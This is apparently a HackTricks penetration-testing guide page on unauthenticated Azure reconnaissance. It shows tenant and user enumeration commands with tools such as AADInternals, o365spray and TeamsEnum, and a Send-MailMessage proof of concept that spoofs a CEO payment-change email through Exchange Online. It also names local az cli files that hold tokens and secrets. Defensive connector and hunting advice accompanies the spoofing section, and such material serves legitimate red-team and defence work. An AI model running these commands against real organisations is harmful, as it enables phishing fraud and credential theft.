Sponsored

Az - Unauthenticated Enum & Initial Entry

[!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Browse the full HackTricks Training catalog.

Support HackTricks

Azure Tenant

Tenant Enumeration

There are some public Azure APIs that just knowing the domain of the tenant an attacker could query to gather more info about it.
You can query directly the API or use the PowerShell library AADInternals (Install-Module AADInternals):

  • Login information including tenant ID
    • Get-AADIntTenantID -Domain <domain> (main API login.microsoftonline.com/<domain>/.well-known/openid-configuration)
  • All valid doimains in the tenant
    • Get-AADIntTenantDomains -Domain <domain> (main API autodiscover-s.outlook.com/autodiscover/autodiscover.svc)
  • Login information of the user. If NameSpaceType is Managed, it means EntraID is used
    • Get-AADIntLoginInformation -UserName <UserName> (main API login.microsoftonline.com/GetUserRealm.srf?login=<UserName>)

You can query all the information of an Azure tenant with just one command from AADInternals:

# Doesn't work in macos because 'Resolve-DnsName' doesn't exist
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table

## Output Example of the Azure tenant info:

Tenant brand:       Company Ltd
Tenant name:        company
Tenant id:          1937e3ab-38de-a735-a830-3075ea7e5b39
DesktopSSO enabled: True

Name                           DNS   MX    SPF  Type      STS
----                           ---   --    ---  ----      ---
company.com                   True  True  True  Federated sts.company.com
company.mail.onmicrosoft.com  True  True  True  Managed
company.onmicrosoft.com       True  True  True  Managed
int.company.com              False False False  Managed

It's possible to observe details about the tenant's name, ID, and "brand" name. Additionally, the status of the Desktop Single Sign-On (SSO), also known as Seamless SSO, is displayed. When enabled, this feature facilitates the determination of the presence (enumeration) of a specific user within the target organization.

Moreover, the output presents the names of all verified domains associated with the target tenant, along with their respective identity types. In the case of federated domains, the Fully Qualified Domain Name (FQDN) of the identity provider in use, typically an ADFS server, is also disclosed. The "MX" column specifies whether emails are routed to Exchange Online, while the "SPF" column denotes the listing of Exchange Online as an email sender. It is important to note that the current reconnaissance function does not parse the "include" statements within SPF records, which may result in false negatives.

User Enumeration

[!TIP] Note that even if a tenant is using several emails for the same user, the username is unique. This means that it'll noly work with the domain the user has associated and not with the other domains.

It's possible to check if a username exists inside a tenant. This includes also guest users, whose username is in the format:

<email>#EXT#@<tenant name>.onmicrosoft.com

The email is userโ€™s email address where at โ€œ@โ€ is replaced with underscore โ€œ_โ€œ.

With AADInternals, you can easily check if the user exists or not:

# Check does the user exist
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"

Output:

UserName         Exists
--------         ------
user@company.com True

You can also use a text file containing one email address per row:

user@company.com
user2@company.com
admin@company.com
admin2@company.com
external.user_gmail.com#EXT#@company.onmicrosoft.com
external.user_outlook.com#EXT#@company.onmicrosoft.com
# Invoke user enumeration
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal

Currenlty there are 4 different enumeration methods to choose from. You can find information in Get-Help Invoke-AADIntUserEnumerationAsOutsider:

It supports following enumeration methods: Normal, Login, Autologon, and RST2.

  • The Normal method seems currently work with all tenants. Previously it required Desktop SSO (aka Seamless SSO) to be enabled for at least one domain.

  • The Login method works with any tenant, but enumeration queries will be logged to Azure AD sign-in log as failed login events!

  • The Autologon method doesn't seem to work with all tenants anymore. Probably requires that DesktopSSO or directory sync is enabled.

After discovering the valid usernames you can get info about a user with:

Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com

The script o365spray also allows you to discover if an email is valid.

git clone https://github.com/0xZDH/o365spray
cd o365spray
python3 -m pip install -r requirements.txt

# Check 1 email
python3 ./o365spray.py --enum -d carloshacktricks.onmicrosoft.com -u carlos
# Check a list of emails
python3 ./o365spray.py --enum -d carloshacktricks.onmicrosoft.com -U /tmp/users.txt

User Enumeration via Microsoft Teams

Another good source of information is Microsoft Teams.

The API of Microsoft Teams allows to search for users. In particular the "user search" endpoints externalsearchv3 and searchUsers could be used to request general information about Teams-enrolled user accounts.

Depending on the API response it is possible to distinguish between non-existing users and existing users that have a valid Teams subscription.

The script TeamsEnum could be used to validate a given set of usernames against the Teams API but you need access to a user with Teams access to use it.

# Install
git clone https://github.com/lucidra-security/TeamsEnum
cd TeamsEnum
python3 -m pip install -r requirements.txt

# Login and ask for password
python3 ./TeamsEnum.py -a password -u <username> -f inputlist.txt -o teamsenum-output.json

Output:

[-] user1@domain - Target user not found. Either the user does not exist, is not Teams-enrolled or is configured to not appear in search results (personal accounts only)
[+] user2@domain - User2 | Company (Away, Mobile)
[+] user3@domain - User3 | Company (Available, Desktop)

Furthermore it is possible to enumerate availability information about existing users like the following:

  • Available
  • Away
  • DoNotDisturb
  • Busy
  • Offline

If an out-of-office message is configured, it's also possible to retrieve the message using TeamsEnum. If an output file was specified, the out-of-office messages are automatically stored within the JSON file:

jq . teamsenum-output.json

Output:

{
  "email": "user2@domain",
  "exists": true,
  "info": [
    {
      "tenantId": "[REDACTED]",
      "isShortProfile": false,
      "accountEnabled": true,
      "featureSettings": {
        "coExistenceMode": "TeamsOnly"
      },
      "userPrincipalName": "user2@domain",
      "givenName": "user2@domain",
      "surname": "",
      "email": "user2@domain",
      "tenantName": "Company",
      "displayName": "User2",
      "type": "Federated",
      "mri": "8:orgid:[REDACTED]",
      "objectId": "[REDACTED]"
    }
  ],
  "presence": [
    {
      "mri": "8:orgid:[REDACTED]",
      "presence": {
        "sourceNetwork": "Federated",
        "calendarData": {
          "outOfOfficeNote": {
            "message": "Dear sender. I am out of the office until March 23rd with limited access to my email. I will respond after my return.Kind regards, User2",
            "publishTime": "2023-03-15T21:44:42.0649385Z",
            "expiry": "2023-04-05T14:00:00Z"
          },
          "isOutOfOffice": true
        },
        "capabilities": ["Audio", "Video"],
        "availability": "Away",
        "activity": "Away",
        "deviceType": "Mobile"
      },
      "etagMatch": false,
      "etag": "[REDACTED]",
      "status": 20000
    }
  ]
}

Password Spraying / Brute-Force

Az - Password Spraying

Azure Services using domains

It's also possible to try to find Azure services exposed in common azure subdomains like the ones documented in this post:

  • App Services: azurewebsites.net
  • App Services โ€“ Management: scm.azurewebsites.net
  • App Services: p.azurewebsites.net
  • App Services: cloudapp.net
  • Storage Accounts-Files: file.core.windows.net
  • Storage Accounts-Blobs: blob.core.windows.net
  • Storage Accounts-Queues: queue.core.windows.net
  • Storage Accounts-Tables: table.core.windows.net
  • Databases-Redis: redis.cache.windows.net
  • Databases-Cosmos DB: documents.azure.com
  • Databases-MSSQL: database.windows.net
  • Key Vaults: vault.azure.net
  • Microsoft Hosted Domain: onmicrosoft.com
  • Email: mail.protection.outlook.com
  • SharePoint: sharepoint.com
  • CDN: azureedge.net
  • Search Appliance: search.windows.net
  • API Services: azure-api.net

You can use a method from MicroBust for such goal. This function will search the base domain name (and a few permutations) in several azure domains:

Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
Invoke-EnumerateAzureSubDomains -Base corp -Verbose

Phishing

Exchange Online direct-to-tenant SMTP spoofing

If a target uses Exchange Online / EOP but its public MX points to a third-party mail gateway (Mimecast, Proofpoint, Mailgun, on-prem filtering, etc.), test whether Exchange Online still accepts mail sent directly to the tenant host *.mail.protection.outlook.com. In that case, an attacker can skip the external gateway and submit phishing mail straight to EOP.

This is useful for initial access / phishing because delivery can still happen even when the spoofed sender fails SPF, DKIM, and DMARC. For internal senders, Outlook may also resolve the spoofed sender as a real employee, increasing trust.

Recon / triage:

# If the MX already points to Microsoft, this specific path is usually not the issue
dig +short MX target.com

# Typical vulnerable pattern: the MX points to a third-party filter
# 10 mxb.eu.mailgun.org.

The direct EOP host is usually the tenant-specific mail.protection.outlook.com name (for example target-com.mail.protection.outlook.com). You can often recover the tenant naming pattern from public tenant/domain enumeration and Exchange-related autodiscover responses.

Minimal PoC:

Send-MailMessage -SmtpServer target-com.mail.protection.outlook.com -To victim@target.com -From ceo@target.com -Subject "Urgent" -Body "Review the attached payment change" -BodyAsHTML

Validation signals:

  • Mail is sent to *.mail.protection.outlook.com instead of the public MX host.
  • The message is delivered even though headers show failures such as spf=fail, dkim=none, dmarc=fail, or compauth=none.
  • A secure Partner connector usually rejects the RCPT TO stage with 5.7.51 TenantInboundAttribution; Rejecting.

Technical notes / defensive hunting:

  • Enhanced Filtering for Connectors helps Exchange attribute the original sender correctly, but by itself it is not the boundary that blocks direct-to-tenant delivery.
  • Microsoft documents two practical controls when using an external MX in front of Exchange Online:
    • Create a Partner inbound connector with SenderDomains * and RestrictDomainsToCertificate or RestrictDomainsToIPAddresses so only the approved gateway can deliver to the tenant.
    • Create a priority 0 transport rule that quarantines inbound mail unless the sender IP belongs to approved gateway ranges or X-MS-Exchange-Organization-AuthAs contains Internal.
  • Hunt for mail where Received shows *.mail.protection.outlook.com as the first Microsoft hop but sender-authentication headers still show SPF/DKIM/DMARC failures.
  • If the target still allows Direct Send, disabling it mainly reduces internal sender spoofing; it doesn't replace the connector / transport-rule mitigation for arbitrary external spoofing.

Filesystem Credentials

The az cli stores a lot of interesting information inside <HOME>/.Azure:

  • azureProfile.json contains info about logged in users from the past
  • clouds.config contains info about subscriptions
  • service_principal_entries.json contains applications credentials (tenant id, clients and secret)
  • msal_token_cache.json contains access tokens and refresh tokens

Note that in macOS and linux these files are unprotected stored in clear text.

References

[!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Browse the full HackTricks Training catalog.

Support HackTricks